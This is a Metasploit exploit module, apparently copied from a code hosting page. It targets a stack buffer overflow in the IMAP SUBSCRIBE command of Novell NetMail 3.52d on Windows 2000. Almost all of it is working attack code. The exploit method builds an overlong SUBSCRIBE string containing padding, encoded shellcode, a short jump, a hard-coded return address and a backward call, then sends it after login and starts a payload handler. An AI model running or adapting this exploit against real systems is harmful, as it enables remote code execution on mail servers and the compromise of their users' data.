66 lines
1.6 KiB
Ruby
66 lines
1.6 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::Imap::Novell_Netmail_Subscribe < Msf::Exploit::Remote
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include Exploit::Remote::Imap
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell NetMail <= 3.52d IMAP SUBSCRIBE Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
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verb. By sending an overly long string, an attacker can overwrite the
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buffer and control program execution.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 3782 $',
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'References' =>
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[
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[ 'BID', '21728' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 23 2006'))
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end
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def exploit
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sploit = "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
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sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
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sploit << [0xe8, -485].pack('CV') + rand_text_english(150)
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info = connect_login
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if (info == true)
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print_status("Trying target #{target.name}...")
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sock.put(sploit + "\r\n")
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else
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print_status("Not falling through with exploit")
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end
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handler
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disconnect
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end
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end
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end
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